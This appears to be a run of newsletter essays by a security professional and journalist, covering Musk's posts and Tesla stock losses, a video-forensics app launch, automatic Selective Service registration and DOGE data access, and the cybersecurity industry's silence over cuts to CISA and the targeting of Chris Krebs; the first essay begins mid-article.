Each signal is deniable. “Stock price is too high” is just an opinion. The Twitter poll was about his taxes. The haircut is just a haircut. The earnings call was actually about strategic conviction. “Going back to this haircut” is a simple joke about grooming. The signals he drops come wrapped in a layer of plausible deniability thick enough to keep regulators at bay but thin enough for anyone paying attention to read the message. Deniability is not a flaw in the signal; it is the actual mechanism by which the signal operates. And consider: Musk’s 2018 consent decree with the SEC requires pre-approval of communications about Tesla’s financial condition, securities, or projections. A tweet about a haircut does not appear on that list. The two signals in this dataset that produced the largest excess losses against the Nasdaq, the haircut debut at 12.2% and the haircut callback at 5.4%, are the two that most cleanly evade the decree’s enumerated categories. Draw your own conclusions.

The distribution channel is now captive. When Musk tweeted “stock price is too high” in May 2020, Twitter was an independent platform with its own algorithms and editorial decisions. He was broadcasting through someone else’s infrastructure. After the October 2022 acquisition, every subsequent signal has been distributed through a platform he owns outright. Algorithmic amplification, trending curation, view-count reporting, etcetera — Musk controls all of it. No independent check exists on whether his posts receive preferential distribution, and there is no third-party verification of reported engagement metrics.

The man who moves markets with his posts also owns the printing press.

What the Jury Said

On March 20, 2026, nine days after Musk’s latest haircut-related post began circulating, a nine-member federal jury in San Francisco returned its verdict in Pampena v. Musk, the class action shareholder lawsuit over his 2022 Twitter acquisition. After nearly four days of deliberation, they delivered a split decision.

The jury found Musk liable under Section 10(b) of the Securities Exchange Act and SEC Rule 10b-5(b) for two specific tweets: his May 13, 2022 statement that the Twitter deal was “temporarily on hold,” and a May 17 tweet claiming the deal could not proceed without bot data. Both were found to be materially misleading. A third challenged statement, made on a podcast, was deemed opinion and not actionable. The jury rejected the plaintiffs’ broader theory under Rule 10b-5(a) that Musk had engaged in an intentional “scheme to defraud” investors.

Damages rose to approximately $2.1 billion in stock losses, with plaintiffs’ attorneys estimating an additional $500 million in options losses for a potential total near $2.6 billion. Shareholders are set to receive between $3 and $8 per share per day for the class period. Musk’s attorneys at Quinn Emanuel announced an appeal immediately, called the verdict “a bump in the road,” and noted the jury had “found both for and against the plaintiffs and found no fraud scheme.”

The plaintiffs’ attorney Joseph Cotchett told reporters afterward that the verdict “sends a strong message that just because you’re a rich and powerful person, you still have to obey the law, and no man is above the law.”

The significance reaches well beyond the acquisition of Twitter and well beyond the two counts on which Musk prevailed. For the first time, a federal jury had examined specific tweets by Elon Musk under the framework of securities fraud and concluded that two of those constituted material misrepresentations made with the requisite mental state. They did not find a coordinated scheme, but they did find that individual tweets, standing alone, were false enough and consequential enough to warrant billions in damages.

None of that proves the five Tesla sell signals documented above were intentional misrepresentations.

A verdict about Twitter shares does not establish liability for Tesla share movements. It does, however, resolve a predicate question that Musk has contested in courtrooms for nearly a decade: does he understand that his public statements move stock prices, and does he make them with awareness of their consequences? Nine jurors heard his defense and rejected it on two out of three counts.

The proposition that Elon Musk posts without understanding what his posts do to stock prices is, as of March 20, 2026, something a jury weighed and declined to believe.

The Cumulative Cost

Across five qualifying events, measured conservatively against the Nasdaq-100, Musk’s public actions have produced approximately 35 percentage points of idiosyncratic loss in Tesla’s stock. These are not losses caused by the Federal Reserve, Chinese competition, declining EV demand, or any of the dozens of legitimate headwinds that every automotive company faces. They are losses caused specifically and measurably by the CEO’s tweets, statements, and personal aesthetic choices in periods where the broader market was flat or rising.

At Tesla’s current market capitalization of roughly $1.4 trillion, a single percentage point of movement represents approximately $14 billion in shareholder value. The math is approximate, because the market cap has fluctuated over the five-year period in question, but the order of magnitude speaks for itself.

This accounting captures only the five cleanest events. It leaves out the slow bleed of the DOGE period, when Tesla’s association with Musk’s political activities cost the stock roughly half its value from December 2024 to April 2025. It leaves out the dozens of smaller provocations that fell below my methodology’s 5% excess threshold, as well as the opportunity cost of investors who exited Tesla entirely because they could no longer stomach Musk’s governance style.

What it does capture, rigorously and defensibly, are five moments when the wealthiest individual used his public platform to communicate something to the market, the market responded with overwhelming and precisely timed selling pressure, and the rest of the market did not.

What Comes Next

Tesla’s next earnings call is scheduled for April 28, 2026.

Musk has signaled that capital expenditures will exceed $20 billion this year, more than double the 2025 figure. Automotive revenue fell 10% last year. The company is discontinuing the Model S and Model X. The robotaxi fleet operates only about a dozen vehicles in Austin with human safety chaperones riding side-saddle. The Cybercab, which has no steering wheel, is supposed to begin production in April and expected to reach volume production by year’s end.

The Pampena v. Musk verdict will be appealed, and Quinn Emanuel will argue that a mixed decision vindicates their client. Despite this framing, the factual core of the jury’s finding stands until it is overturned: two tweets by Elon Musk constituted material misrepresentations under federal securities law, and they cost shareholders billions. For anyone holding TSLA, the question is no longer whether the CEO’s public behavior affects the stock — The data settles that. The question is whether the next signal has already been sent.

Tesla closed at $361.83 on March 27. That is just $3.17 away from where it stood on December 1, 2021, the day Elon Musk debuted a Hitler Youth-style haircut and the market started selling.

Some patterns repeat because the underlying conditions recur. Others, because someone wants them to.

Jackie Singh is an information security professional and investigative journalist.

This analysis is based on publicly available market data, SEC filings, court records, and contemporaneous media reporting. It does not constitute investment advice. All price data has been split-adjusted.

Share

If you work in a newsroom, a law firm, or a research lab, your gut feeling no longer counts as a forensic tool. I’m so excited to share that my new app Kinexis.AI goes live today to help bridge the gap between human perception and manipulated reality.

Instead of a simple “fake or not” detector, my company has built a multi-modal telemetry engine. Running a video through Kinexis generates a clinical, forensic report across multiple layers of analysis:

• Synthetic Artifacts: Hunting for the microscopic glitches GenAI leaves in its wake.

• Narrative Framing: Identifying hidden persuasion techniques like authority positioning or “feigned earnestness.”

• Body Language: Mapping movements and expressions that often occur too fast for the human eye to register.

Jeffrey Epstein’s deposition footage serves as a quick case study.

When we processed clips of those archival tapes, the engine didn’t just confirm they were authentic; it flagged specific moments of contempt and high cognitive load that might change your understanding of the testimony.

Kinexis turns a passive viewing experience into a data-driven investigation.

Building Kinexis has been a deeply personal mission over the past weeks because I believe technology should act as a shield for truth rather than as a weapon against it.

This platform is a first-of-its-kind attempt to complement every citizen and professional’s valuable human judgment with a high-fidelity AI sensor that offers a nuanced, forensic understanding of how media can be constructed to influence us.

By merging deepfake detection with behavioral intelligence, my hope is that we can use AI for good—empowering people to cut through the noise of synthetic manipulation and restore a shared, factual foundation for how we understand the world.

I built this for those who hate black-box verdicts, but haven’t had useful tools to dig deeper. You’ll get raw data, timestamped findings, and probabilistic confidence scores.

Stop guessing. Start measuring!

You can run your first analysis right now, or browse public reports. Guest checkout is enabled, and we support direct links from sites like YouTube, Facebook, X/Twitter, and TikTok so you don’t have to waste your time downloading videos.

Analyze Your First Video

Stay skeptical.

In February 2025, I wrote about something that almost happened. A provision in the House-passed FY2025 NDAA would have transformed the Selective Service System from voluntary self-registration into automatic, database-driven enrollment of every draft-age male in the country. It was stripped from the final bill before President Biden signed it in December 2024. I argued at the time that its removal didn’t mean the idea was dead. The 57-1 vote in the House Armed Services Committee, the bipartisan enthusiasm, the obvious political utility of keeping a draft on a hair trigger—all of it pointed toward a second attempt.

That second attempt succeeded, and in a context far worse than I anticipated.

On December 18, 2025, President Trump signed the FY2026 National Defense Authorization Act into law. Section 535 mandates that the Selective Service System automatically register all male U.S. residents aged 18 to 26 using existing federal databases. The provision takes effect in one year. It passed 312-112 in the House and 77-20 in the Senate. Nobody held a press conference about it.

Between my original article and this one, the United States bombed Iran’s nuclear facilities, intervened militarily in Venezuela, deployed the National Guard to American cities, and authorized the largest defense budget in history. A new National Defense Strategy explicitly prepares for “prolonged, multi-domain conflicts.”

Quiet draft plans are now law, being implemented against a backdrop of active warfare.

What Section 535 Actually Does

Under the new law, the SSS must “identify, locate, and register” every male person residing in the United States between 18 and 26 by aggregating data from other federal agencies—Social Security, IRS, immigration records, whatever else the SSS Director “determines necessary.”

This replaces a self-registration system in place since 1980. Under that framework, young men were supposed to sign up voluntarily; most didn’t. Compliance has been abysmal for decades. Bernard Rostker, who ran the SSS from 1979 to 1981, testified in 2019 that the existing database would be “less than useless” for an actual draft.

Congress had an obvious alternative: abolish a system that hasn’t worked in 45 years. Instead, it chose to expand the system’s reach and its access to Americans’ personal data.

Edward Hasbrouck, the most knowledgeable independent expert on draft registration in the country, put the change in stark terms when the conference bill emerged in December 2025: this:

“will move the USA closer to activation of a draft, or at least to being able to claim to be ready to activate a draft ‘on demand,’ than at any time in the half century since draft registration was suspended and draft boards were deactivated in 1975.”

A revealing detail is buried in the legislation itself. Despite the word “automatic,” the law still requires potential draftees to provide personal information on demand of the SSS. If the system could truly identify and locate everyone on its own, that provision wouldn’t be necessary. It exists because the premise of constructing a comprehensive, accurate list of every draft-eligible person by merging federal databases doesn’t hold up. Federal databases don’t agree with each other. They don’t track current addresses. They don’t reliably record sex as assigned at birth. None of them were designed for this purpose.

So what the law actually creates is not an automated registration system but a sweeping new authority for the SSS to demand data from every other federal agency and to demand personal information from individuals.

Automation is the sales pitch; the surveillance architecture it enables is the product.

How It Got Through

The legislative path reveals how Congress handles provisions with major civil liberties implications when nobody is paying attention.

Automatic registration language originated within the SSS itself during the Biden administration, championed in Congress by Rep. Chrissy Houlahan (D-PA). Her bill sailed through the House Armed Services Committee in May 2024 on a voice vote without audible opposition, endorsed “wholeheartedly“ by Chairman Mike Rogers (R-AL). Democrats got to look tough on national service. Republicans got expanded government data collection that could be weaponized for other purposes. Everyone won except the people who’d eventually be registered.

When the provision was stripped from the FY2025 NDAA in conference, I flagged it as a temporary setback, and ten months later it resurfaced in the FY2026 bill.

In September 2025, Rep. Warren Davidson (R-OH), a West Point graduate and Army veteran, tried to bring a floor amendment that would have replaced automatic registration with outright repeal of the Military Selective Service Act. The House Rules Committee blocked it, foreclosing any debate on whether the Selective Service should exist at all. Only the question of how aggressively it should operate was permitted.

By December 2025, the House-Senate conference committee had folded the provision into the final FY2026 NDAA. Public discussion around its passage focused on the $901 billion topline, the 3.8% military pay raise, Golden Dome missile defense authorization, and $400 million for Ukraine. Automatic draft registration was a footnote.

The Friends Committee on National Legislation had flagged the provision before it passed, calling it “dangerous draft automation.”

Their warning went largely unheard.

DOGE Walks Into the Selective Service

In April 2025, before the automatic registration provision was even enacted, the Department of Government Efficiency showed up at SSS headquarters.

The SSS confirmed to Edward Hasbrouck that “a DOGE representative visited our Agency this week. We’ve established a great working relationship. They asked us about our data and requested access, which we gave in compliance with the President’s Executive Order on Establishing and Implementing the Department of Government Efficiency.”

The registration database contains records on all male U.S. citizens or residents born on or after January 1, 1960, who have registered or been registered by state driver’s license agencies. Enormous and inaccurate, as of that April visit it was open to an organization with no statutory authority and no obligation to explain what it intended to do with the data.

When Hasbrouck asked whether new computer matching programs had been carried out by DOGE, the SSS said no, but acknowledged it wasn’t clear whether the agency would “even know what DOGE has done with SSS data, once DOGE has gotten access to it and possibly exfiltrated it.”

Once data leaves an agency and enters DOGE’s orbit, no mechanism exists to track it, constrain it, or recall it. DOGE’s entire operational model is built on aggregating and cross-referencing federal databases.

That model now includes the draft registration list.

From Database to Weapon

If DOGE’s access was the opening move, the SSS’s subsequent rulemaking was the follow-through.

After Section 535 was enacted, the SSS’s first official regulatory action was a proposal to expand “routine uses” of registration data. Under the new proposed rules, SSS records could be disclosed to federal, state, and local agencies and to private entities for purposes including immigration enforcement.

The Heritage Foundation had signaled earlier in 2025 that it wanted SSS registration data turned against immigrants, leveraging threats of prosecution for “knowing and willful” non-registration to pressure undocumented individuals to self-deport. The legal basis for such threats is thin because you can’t prosecute someone for “knowingly” failing to do something they didn’t know they were required to do. But the coercive potential is real, especially for populations already living under threat of deportation.

In January 2026, a coalition of civil liberties and peace organizations pushed back. The Military Law Task Force, the Electronic Privacy Information Center (EPIC), Restore the Fourth, the Committee Opposed to Militarism and the Draft, Project YANO, the Episcopal Peace Fellowship, the Jewish C.O. Project, and the Center on Conscience & War submitted joint comments opposing the proposed data-sharing expansion. Their filing warned that DOGE had already been given access to the SSS database “for undisclosed purposes and with no apparent legal basis” and that the proposed rules were a precursor to the far broader data-sharing regime that automatic registration would require.

The coalition also flagged the populations most vulnerable: transgender and non-binary youth, who risk being misgendered or misregistered by databases that don’t track sex assigned at birth, and immigrant youth, whose data would flow directly into infrastructure already being repurposed for enforcement operations.

As someone who has spent years studying how government data systems get repurposed, I’ve seen this cycle before. A database gets built for a narrow purpose. Access creeps outward, new “routine uses” get proposed, and by the time the public notices, the architecture is already operational. The SSS registration database is mid-cycle right now.

A System That Can’t Draft Anyone

Here’s the paradox. The Selective Service System is simultaneously being granted unprecedented data collection powers and remains institutionally incapable of executing an actual draft.

Between March 2021 and March 2025, draft board membership declined from 9,596 to 5,802. When the SSS conducted outreach to its own board members, it discovered that “many” had died without the agency’s knowledge. The SSS had so little contact with the people responsible for processing draft claims that it didn’t know they were dead.

Many local boards now lack the three members required by law to constitute a quorum. Without a quorum, a board cannot legally hear deferment or exemption claims. If a draft were activated tomorrow, residents in those jurisdictions would have no functioning board to appeal to. The National Appeal Board, which hears appeals of deferment and exemption decisions, had a single member as of March 2025. Three are needed for a quorum, so no functioning national appeals process exists.

The SSS was considering asking Congress to let it consolidate boards across entire Congressional districts rather than counties, which would reduce the number of boards needed but overload survivors with cases they’d be unprepared to handle, staffed by rushed appointees with minimal training.

Congress just entrusted this agency with building a comprehensive national database of every draft-eligible person in the country.

Meanwhile, the Wars

While Congress debated subcommittee markup language, the United States was fighting.

On June 22, 2025, the U.S. launched Operation Midnight Hammer, striking three Iranian nuclear facilities at Natanz, Fordow, and Isfahan with B-2 stealth bombers and over 100 aircraft. Trump declared Iran’s enrichment capabilities “obliterated.”

In late February 2026, the U.S. and Israel launched a second, larger campaign against Iran, Operation Epic Fury, engaging over 1,700 targets including command centers, ballistic missile sites, naval vessels, and military infrastructure. Trump declared a “major combat operation.” As of this writing, Iran has retaliated with missile strikes on U.S. bases across the Gulf, and fighting continues.

In the Caribbean, the largest U.S. naval concentration since the Cuban Missile Crisis took shape over summer 2025. Since September, the U.S. has carried out dozens of strikes on suspected drug-smuggling vessels, killing scores of people. Defense Secretary Pete Hegseth announced many of these personally on social media, declaring that targets would be treated “EXACTLY how we treated Al-Qaeda.”

A congressional crisis erupted in November after it was reported that Hegseth had allegedly ordered a second strike to eliminate survivors of a September 2 attack, raising serious questions under the Geneva Conventions that congressional investigators are still pursuing. The FY2026 NDAA itself contains a provision withholding 25% of Hegseth’s travel budget until the Pentagon provides Congress with unedited video of the Caribbean strikes.

By January 2026, Venezuela escalated from naval buildup to full intervention with Operation Absolute Resolve, in which U.S. forces bombed infrastructure across northern Venezuela and Delta Force operators captured President Maduro.

On the domestic front, National Guard troops deployed to Washington D.C. in August 2025, then to Los Angeles, Memphis, Charlotte, New Orleans, and Portland. In August 2025, Trump signed an executive order directing the Pentagon to create standing National Guard units in every state for “rapid nationwide deployment.” In a meeting with over 800 generals, he described America as waging “a war from within.” (The Supreme Court ruled against the Chicago deployment in December, and Trump withdrew troops from three cities before signaling they could return.)

The 2026 National Defense Strategy: Saying the Quiet Part

Released in January 2026, the new National Defense Strategy is the most telling document in this sequence. Previous defense strategies talked about “preventing war” or “integrated deterrence.” This one organizes around preparation for “prolonged, dispersed, and multi-domain conflicts.”

Homeland and hemispheric defense became Priority #1, with “homeland” now encompassing the entire Western Hemisphere under what the Pentagon calls a “Trump Corollary to the Monroe Doctrine.” China remains the “pacing threat,” but operational focus has shifted to the Caribbean, the Arctic, and the Gulf of America. Officials describe the defense industrial base as being placed on “a wartime footing,” with calls for a “once-in-a-century revival of American industry.”

CSIS analyst Mark Cancian, a retired Marine colonel, noted the strategy warns of “an increased risk of America itself being drawn into simultaneous major wars across theaters — a third World War.” The answer offered is a “one plus” conflict model: the U.S. fights one major war while allies handle the second. Those allies, described in the document as “freeloading dependents,” are expected to shoulder frontline roles, logistics, and risk.

One conspicuous absence: the NDS does not mention the all-volunteer force. Every previous QDR and NDS had a section on sustaining the AVF. Its disappearance from a document that otherwise touches every major defense topic is hard to read as an oversight.

You don’t build automatic draft registration, expand the surveillance apparatus around it, rename the Department of Defense to the “Department of War,” and stop talking about the all-volunteer force (all while fighting on two continents) unless conscription is being kept very close to the surface.

What Comes Next

The SSS has until December 18, 2026, to stand up the automatic registration system. That means publishing regulations, completing Privacy Act and Computer Matching Act notices, obtaining OMB approval for new data collection instruments, and building the technical infrastructure to pull and reconcile data across multiple federal agencies. All of this by an agency that can’t keep track of whether its own draft board members are alive.

States could complicate the process. The automatic registration law grants the SSS authority to compel data from federal agencies, but imposes no such obligation on state governments. Eleven states currently have no Selective Service registration tie-in with driver’s licenses. Any state that doesn’t want its residents’ data funneled into a DOGE-accessible draft database could end its data-sharing agreement with the SSS entirely.

The coalition that submitted comments in January is planning continued opposition and calling for repeal of the Military Selective Service Act before automatic registration takes effect. They have nine months.

Congress could still repeal the MSSA with a one-sentence bill. But 389 House members and 77 senators just voted to expand the system, so repeal is not a near-term prospect.

What is a near-term prospect: by December 2026, the federal government will possess a continuously updated database of every draft-eligible male in the country, constructed from cross-referenced federal records, accessible to agencies with no clear data protection obligations, and maintained by an institution that has already shown it cannot be trusted with the data it has.

That database will exist in a country actively bombing Iran, intervening in Venezuela, operating under a defense strategy premised on prolonged warfare, and no longer mentioning the all-volunteer force in its strategic planning.

I wrote a year ago that the GOP’s draft plans were quiet. They aren’t quiet anymore. They are law, and the nine months between now and implementation are the last window to stop them.

And lately, watching the cybersecurity community go quiet while the Trump administration dismantles the country’s defenses, I keep asking myself the same question I’m about to try to answer.

Answering that honestly requires pulling apart several threads at once: money, clearances, the peculiar political inheritance of hacker culture, the structural position of technical professionals under capitalism, and a community that has quietly confused professional discretion with moral neutrality.

The SentinelOne Test

If you want to understand why the cybersecurity industry is silent, start with what happened to Chris Krebs. Krebs was the founding director of CISA, the government’s civilian cybersecurity agency.

Our community has generally had a positive view of CISA—in no small part due to the years-long visible efforts of their senior leadership, including Krebs, to create lines of integration with information security communities of practice and create a sense of democratic participation in the defense of the nation.

Many sectors which are critical to national defense are under the control of private enterprises, so it is similarly important to build these relationships—as well as relationships with foreign organizations tasked with the defense of their own respective nations—and they had, partly through forging relationships with noted influencers and increasing their visibility at industry events.

Trump fired Chris Krebs unceremoniously via tweet in November 2020 for working to counter disinformation that the presidential election was not secure. At the 2021 Cyberwarcon conference, organizers presented him with a flight jacket reading “FIRED BY TWEET,” and everybody clapped.

In April 2025, the joke stopped being funny: Trump issued a Presidential Memorandum naming Krebs in its title.

For lawyers and process nerds: that one is technically a Presidential Memorandum rather than an Executive Order, but in practice it functions the same way: it directs the executive branch, carries binding instructions for agencies, and can be enforced unless it conflicts with statute or the Constitution. The differences are mostly procedural: Memoranda don’t have to be printed in the Federal Register, they don’t have to spell out the president’s specific legal authority the way orders do under 1 C.F.R. § 19.1, and the budget office doesn’t need to issue a formal “Budgetary Impact Statement” for them.

The effect of the Memorandum was the revocation of Krebs’ security clearance, the start of a Justice Department investigation into his government service, and the suspension of the clearances of every employee at SentinelOne, where Krebs worked as chief intelligence and public policy officer. No evidence supported the White House memo’s accusation that he had been “suppressing conservative viewpoints,” and no explanation was offered for why SentinelOne’s entire workforce should be punished. Within a week, Krebs resigned, saying the fight was one he needed to take on outside the company.

Reuters contacted 33 of the largest U.S. cybersecurity companies for comment.

Thirty-two either declined or did not respond. A single voice of opposition came from the Cyber Threat Alliance, a nonprofit, whose president Michael Daniel said: “Targeting a company because the president does not like someone in the company is an example of the very weaponization of the federal government the memo claims to be combating.”

Katie Moussouris, founder of Luta Security, was blunt: “I don’t think it’s feasible for cybersecurity companies to have a broader response on this. The risk is just too high.”

An anonymous executive put it more plainly to Reuters: “If they are willing to crush Mr. Krebs, what do you think they’ll do to me?”

The Dismantling

The act against Krebs was not an isolated act of retribution. He was a demonstration project—and the demonstration worked!—because it ran in parallel with a systematic campaign to hollow out America’s cybersecurity infrastructure.

CISA entered fiscal year 2025 with roughly 3,400 employees. By December 2025, that number had fallen to approximately 2,400. Trump’s FY2026 budget proposes cutting the agency’s funding by $495 million, a 17% reduction, eliminating over a thousand authorized positions. Election Security has been entirely zeroed out. Forty-five million dollars stripped from Cyber Defense Education and Training. Seventy million from the National Risk Management Center.

In April 2025, the CVE program nearly collapsed. CVE is the global system for identifying and tracking software vulnerabilities, and it underpins virtually every security operation on Earth. MITRE’s government contract was allowed to approach expiration before CISA threw together a last-minute extension. The system survived. But nobody who watched it happen could avoid the obvious implication: even the most fundamental shared infrastructure of cybersecurity is expendable when it falls within the budget-cutting blast radius.

General Timothy Haugh, who led both the NSA and U.S. Cyber Command, was fired along with his deputy, Wendy Noble. No official rationale was offered. DHS Secretary Kristi Noem took the stage at the RSA Conference and called CISA a “Ministry of Truth,” accusing it of deciding “what was truth and what was not.” She was referring to the agency’s role in debunking election misinformation that Trump still insists was censorship.

By January 2026, the escalation had reached a kind of absurdist peak. CISA, the FBI, and the NSA all pulled out of the RSAC Conference after the event’s organizer hired former CISA director Jen Easterly as CEO. Easterly is a 25-year Army veteran and political independent whose offense was criticizing the administration’s loyalty mandate at the previous year’s conference. West Point had already rescinded a job offer to her after a far-right activist objected. The federal government withdrew from the world’s largest cybersecurity gathering because it didn’t like the new boss—one who was, until quite recently, their own well-respected boss.

All of this while Chinese state-sponsored hackers remain positioned inside American critical infrastructure. As Easterly wrote on LinkedIn before Trump’s allies forced her further from public life: “As experienced leaders exit and key roles remain vacant, our nation’s cyber defenses are at risk of being dangerously degraded.”

The Government as Threat Actor

This is the part that should unsettle everyone in my field.

We train to defend against Advanced Persistent Threats, use acronyms like APT28 and APT41 and Volt Typhoon, write detection rules, build threat models, share indicators of compromise. Our entire conceptual apparatus assumes the threat actor is foreign and that the U.S. government is, broadly speaking, on our side.

Then came DOGE. Elon Musk’s operatives gained access to Treasury payment systems, OPM personnel databases, and IRS records with minimal security vetting. Alan Butler, executive director of the Electronic Privacy Information Center, told Politico that their access to federal data was “an absolute nightmare.”

Bruce Schneier at Harvard said government systems are now less secure because of DOGE’s actions. Axios reported on the insider threat implications of granting rapid access to individuals with unclear backgrounds and undisclosed conflicts of interest. A former DHS Chief Privacy Officer described what happened as “a data breach of exponential proportions.”

In any other context, we would call this an insider threat. We would write an incident report, recommend access revocation, conduct forensic analysis. But the people who did it answer to the president, and the people who would normally investigate are being fired or silenced. Nobody has written a TTP report for DOGE. Nobody has published a MITRE ATT&CK mapping for an executive branch that treats its own government’s data as a personal resource.

Our frameworks were not built for this.

Who We Are, and Why That Matters

You can’t understand how this community responds without understanding where it came from. Information security descends from hacker culture, and hacker culture’s founding ethic was libertarian in the older, pre-partisan sense: distrust of authority, commitment to open information, and an unwavering belief that technology could route around institutional power. Cypherpunks who built the encryption tools we still depend on saw cryptography as a liberating force against government surveillance.

The politics are not neatly left or right. They are anti-authoritarian, which maps onto anarchism for some, market libertarianism for others, progressive activism for still others. Walk around DEF CON and you will find people who think open source is a grand anarchist experiment sitting next to people who think the Second Amendment is a cybersecurity posture. Collective political action can be difficult when the only shared conviction is some vague skepticism of centralized power.

Demographics complicate this further. Women make up 22% of the cybersecurity workforce. LGBTQ people, including a visible contingent of trans women hackers and security researchers, have carved out real cultural space in this industry—from long‑running events like Queercon at DEF CON, which I have personally attended and found to be great fun, to highly public practitioners like Alissa Knight who’ve made it easier for others to imagine themselves here. Plenty of people in this industry have skin in the game when it comes to the policies this administration is pursuing.

Yet the workforce remains overwhelmingly white and male. People with the greatest personal stakes in resisting are also the most vulnerable in the workplace, and the least able to speak out safely. Meanwhile, the white, male, credentialed, senior professionals who hold the most structural power face the least direct personal threat.

Conferences celebrate minority members with panels and mentorship programs, but none of that has translated into collective defense when those same members face real-world policy harm.

Does the Culture Support MAGA?

No. Not broadly. But the picture has nuance that a flat denial would miss.

At RSA 2025, Chris Krebs drew thunderous applause for saying “we should be outraged. Absolutely outraged.” Moussouris told reporters, “Everybody feels the same way I do. Nobody is authorized to say anything officially.” An open letter from the Electronic Frontier Foundation gathered more than 40 prominent signatories condemning the Krebs executive order. A State Department employee at the conference, speaking on condition of anonymity, called Secretary Noem “just a puppet.”

Overwhelmingly, sentiment in this community runs against what the administration is doing. It finds expression in private Slack channels, anonymous quotes to reporters, standing ovations at conferences. What it does not produce is organized, public, sustained resistance.

I should be transparent about where I sit in all of this. I was never fully anonymous in the communities I came up through, and I haven’t stopped using my voice. If anything, I’ve become far more strident since 2020, when I watched the security community fail to mount any serious response to the disinformation campaigns and election targeting that defined that cycle. Some of that targeting was directed at me personally. Those events fully clarified something I might have already known: silence in this industry is a choice, and it benefits whoever is running the operation.

Which brings me to the one moment when a real part of the community did speak up. In late April 2025, the EFF organized an open letter to the White House demanding that the Krebs investigation be dropped and SentinelOne’s clearances reinstated. I signed it.

The initial version carried names like Ron Rivest, Matt Blaze, Bruce Schneier, Jeff Moss, Alex Stamos, and Gabriella Coleman—people whose careers are established and reputations large enough to absorb the hit. Within days, the signature count blew past 400. The version I have in front of me now carries over 730 names.

Look at who signed, and a pattern emerges. About 80% included a professional title or affiliation, which in this context is itself an act of exposure. Roughly a quarter hold senior positions: C-suite executives, CISOs, directors, distinguished engineers, endowed professors at MIT, Princeton, Stanford, Georgetown, Columbia. CSO Online called it “a who’s who of the cybersecurity intelligentsia.”

But the bulk of signatories, close to half, are mid-career practitioners: security engineers, analysts, architects. People with titles like “Cybersecurity Professional” or “Security Analyst at Black Hills Information Security.” These are people who don’t have endowed chairs to fall back on.

One name stands out for a different reason: Jonathan Kamens, who listed his title as “Former (fired by DOGE) Information Security Lead and Advisor to the CTO, U.S. Department of Veterans Affairs.” He signed as an original signatory, not an open one. He had already lost his job, and chose to make that visible.

The letter mattered. But 730 names out of a global cybersecurity workforce of over 5 million is vanishingly small. And as Krebs himself told Politico six months later, the executive order remained in force, his clearance was still revoked, and SentinelOne was still dealing with the fallout. Solidarity was expressed and nothing changed.

A real but minority pro-MAGA tendency does exist within the community, concentrated in military and intelligence-adjacent subcultures and in parts of the crypto and prepper worlds that overlap with hacker culture. Some of this traces back to the libertarian strand of hacker politics that has always been comfortable with right-wing anti-government rhetoric. But saying the culture “inherently supports MAGA” gets it wrong.

What the culture inherently supports is self-preservation. At this time, self-preservation and silence feel indistinguishable.

The Professional Managerial Trap

A body of left-wing theory explains what is happening here. In 1977, Barbara and John Ehrenreich coined the term “professional-managerial class” (PMC) to describe salaried mental workers whose function is “the reproduction of capitalist culture and capitalist class relations.” They don’t own capital. They manage it, protect it, optimize it, and discipline the people who produce it.

Infosec professionals fit that description almost too well. We design access controls, write acceptable-use policies, implement data-loss prevention, monitor employee behavior on corporate networks, and enforce compliance regimes. Our professional purpose, at its structural core, is to keep the systems through which capital flows running without disruption. The trains must run on time. When the Ehrenreichs described the PMC’s relationship to the working class as “objectively antagonistic,” they could have been describing the person who configures your company’s endpoint detection and decides what you’re allowed to plug into your laptop.

A recent analysis in Jacobin puts a fine point on it: the PMC are “servants of capital, but also have a disdain for capitalism.” I recognize that tension in myself and in most of my peers. Many of us believe, sincerely, that we are protecting people: hospitals from ransomware, election infrastructure from foreign interference, critical infrastructure from catastrophic failure… Structurally, most of us work for corporations or government agencies whose primary interest is protecting capital, intellectual property, and state power. The sincerity is real but the paycheck comes from somewhere else.

And the paycheck is definitely generous. The average U.S. cybersecurity salary: $147,000. Directors and middle managers average $175,000. CISOs regularly clear $200-400K, and top earners exceed $1 million annually. That kind of money buys houses, private school tuitions, stacked retirement accounts, and a way of life that becomes very difficult to risk for the sake of a LinkedIn post.

Security clearances make the trap even tighter. A large portion of the infosec workforce holds or aspires to government clearances which can sometimes unlock lucrative contracts and often the most interesting work. As the Krebs case demonstrated, those clearances are revocable by presidential fiat. When your clearance is your career, and the president has shown he will use clearance revocation as punishment, speaking out goes beyond professional risk.

The Retreat from the Narrative Battlefield

One of the most consequential decisions the infosec community has made in recent years is leaving X/Twitter.

I understand the impulse. Musk’s platform became hostile to the values many in this community hold. Harassment spiked. Trans users were targeted relentlessly. Moderation collapsed. Leaving felt like self-preservation—in many cases, it was.

But Mastodon and Bluesky are not what Twitter was. They are smaller, more fragmented, built for conversation among the like-minded, where security pros talk to other pros about security. Pleasant, sometimes useful, but rarely political engagement in any meaningful sense. Leaving X was a moral exit, not a strategic one. It ceded the largest public forum where technical expertise could have shaped political discourse to bad actors who have been more than happy to fill the vacuum with nonsense.

The progressivist web chose comfort over influence. A community that prides itself on understanding adversarial thinking failed to think adversarially about information warfare.

The Professional Culture of Discretion

One more factor deserves attention because it’s one that is highly specific to this field.

Information security professionals are generally discreet. Operational security is not just a practice, but an identity marker. We often don’t disclose vulnerabilities before they are patched, share intelligence outside trusted channels, or draw attention to ourselves. These habits serve real purposes in their proper context, but they have metastasized into a professional culture where any public political statement feels like a violation of norms.

“We protect systems, not take sides” has become the industry’s equivalent of “just following orders,” which provides cover for inaction that handily serves the interests of whoever currently controls the systems we protect or can successfully apply pressure to its owners.

When Politico described a “typically nonpartisan community beginning to vocalize its dissent” at RSA, it was describing something real. But “beginning to vocalize” in the spring of 2025, months into the dismantling of the American experiment, was already far too late. And vocalization in the form of anonymous quotes and conference applause will never be the same as action.

What Would Action Look Like?

I don’t have a clean answer, but I know how it doesn’t look: migrating to Mastodon to post for an audience that already agrees with you, signing an open letter and going back to work on your government contract, or applauding Chris Krebs at a conference and then telling Reuters “no comment” when asked about SentinelOne.

The cybersecurity community has an asymmetric capability that almost no other professional class possesses. We are people who understand, at a technical level, how the systems of power actually work, who know where the data lives, how it moves, and what is exposed.

The anti-capitalist analysis would say this power will never be wielded against the system because the people who hold it are too deeply embedded in the system’s rewards. The PMC critique holds that professionals whose livelihood and identity depend on capitalist institutions will, in the final analysis, choose those institutions over solidarity with the people those institutions harm.

So far, the evidence supports that reading.

But the Ehrenreichs themselves acknowledged that as working conditions and pay of the PMC deteriorate, alignment with the broader working class becomes possible, even if never guaranteed and always fraught.

